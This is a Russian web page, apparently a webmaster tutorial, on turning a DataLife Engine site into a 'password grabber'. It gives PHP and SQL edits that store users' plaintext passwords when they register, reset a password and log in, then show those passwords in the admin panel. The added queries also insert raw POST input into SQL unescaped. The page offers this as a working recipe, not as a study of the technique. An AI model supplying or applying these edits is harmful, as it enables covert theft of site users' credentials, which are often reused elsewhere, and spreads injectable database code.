друзья
реклама
|
Для вебмастера » DLE - DataLife Engine → Создаем свой граббер паролей
Создаем грабер паролей
ALTER TABLE dle_users ADD `passer` varchar(40) NOT NULL AFTER `password`;
Регистрация.
ищем: $password1 = $_POST['password1']; ниже вставляем
$passer = $_POST['password1']; ищем запрос в базу (в конце..) $db->query( "INSERT INTO " . USERPREFIX . "_users (name, password, email....) VALUES ('$name', '$regpassword', '$email'.... вставляем колонку passer $db->query( "INSERT INTO " . USERPREFIX . "_users (name, password, passer, email...) VALUES ('$name', '$regpassword', '$passer', '$email', готово, сохраняем... регистрацию сделали...
2) востановление пароля
ищем:
$db->query( "UPDATE " . USERPREFIX . "_users set password='" . md5( md5( $new_pass ) ) . "', allowed_ip = '' WHERE user_id='$douser'" );
$db->query( "UPDATE " . USERPREFIX . "_users set password='" . md5( md5( $new_pass ) ) . "', passer='".$new_pass."', allowed_ip = '' WHERE user_id='$douser'" ); готово, сохраняем... 3)вход на сайт открываем engine/modules/sitelogin.php
ищем: $_POST['login_password'] = md5( $_POST['login_password'] );
$passer = $_POST['login_password']; ниже в двух местах ищем lastdate='{$_TIME}', logged_ip='" . $_IP . "'
lastdate='{$_TIME}', logged_ip='" . $_IP . "', passer='".$passer."' по смыслу все... 4) админка теперь добавляем вывод пароля при просмотре профиля в админке... открываем engine/inc/editusers.php ищем:
<tr>
<td style="padding:4px;">{$lang['user_newpass']}</td> <td colspan="2"><input size="20" name="editpass" class="edit" /></td> </tr>
<tr> <td style="padding:4px;">Пароль:</td> <td colspan="2">{$row['passer']}</td> </tr> или, чтобы просмотр был возможен только пользователю с id=1 HTML;
if($member_id['user_id'] == "1") { echo <<<HTML <tr> <td style="padding:4px;">Пароль:</td> <td colspan="2">{$row['passer']}</td> </tr> HTML; } echo <<<HTML
Готово ;) Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем. Комментарии:Оставить комментарий |
популярное
календарь
опрос
счетчики
Реклама
|